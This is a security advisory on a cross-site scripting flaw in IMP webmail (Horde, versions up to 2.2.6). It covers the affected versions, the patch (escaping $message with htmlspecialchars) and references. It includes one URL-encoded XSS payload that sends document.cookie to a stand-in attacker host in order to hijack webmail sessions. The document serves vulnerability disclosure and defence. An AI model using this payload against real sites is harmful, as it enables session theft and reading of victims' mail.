Imp Webmail Advisory: Session Hijacking Exploit Threatens Security

   - After hijacking the cookies, the attacker can use the session and read     the victim's mail.   - Imp webmail is part of the Horde Application Framework, at    https://www.horde.org/ , which allows web access to an email account,    through pop3 or imap.  - Imp is included in the Linux Madrake, Conectiva Distributions.     It's also available in the Red Hat PowerTools.  - It's used in several webmail sites, some of which    with hundreds of thousand of users, and all of the ones tested were            vulnerable. Some of the administrators were warned before this advisory     being public. Some have already been patched.   - All stable imp webmail versions, up to 2.2.6 including are vulnerable, the  devel version, 2.3 and 3.0 Release Candidate 1 are not affected by this  vulnerability.   - The horde team was warned about this and have commited a fix,   a new version should be uploaded soon.   - To apply the patch use    https://dev.horde.org/horde/login.php     or just escape the $message variable   $message = htmlspecialchars($message);   if your imp installation is already heavily customized.     - To exploit this vulnerability using a text message, the attacker sends an    email with a url, where if the user clicks, is redirected to    %3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B% 20%27%3E%27)%3B%3C%2Fscript%3E%0A   which in return redirects the user's browser to the attacker's server where  he hijacks the cookies that the browser used in the context of the webmail  site, and the session therefore.     This attack is just one more example on how trusting user input is a Bad  Thing(tm), as well as the risks inherent to cross-site script attacks.   Please, pretty please, this was  discovered while playing around with  cookie-based session sites, after reading about the MS Wallet attack and saw  how almost 2 years after the CERT advisory on these techniques, lots of  applications are still vulnerable. There are probably lots of kids around  exploiting similar vulnerabilities. So check your web applications for  similar vulnerabilities and ask yourself how many times have you pasted directly into the html some variable passed by the url or cookie.    - For more info on cross-site scripting, read CERT advisory and     Marc Slemko's paper.     Imp Project homepage: https://www.horde.org/apps/imp/   Marc Slemko's "Microsoft Passport to Trouble":    CERT advisory on cross-site scripting https://www.sei.cmu.edu/library/2000-cert-advisories/      João Pedro Gonçalves This email address is being protected from spambots. You need JavaScript enabled to view it. Phibernet Information Network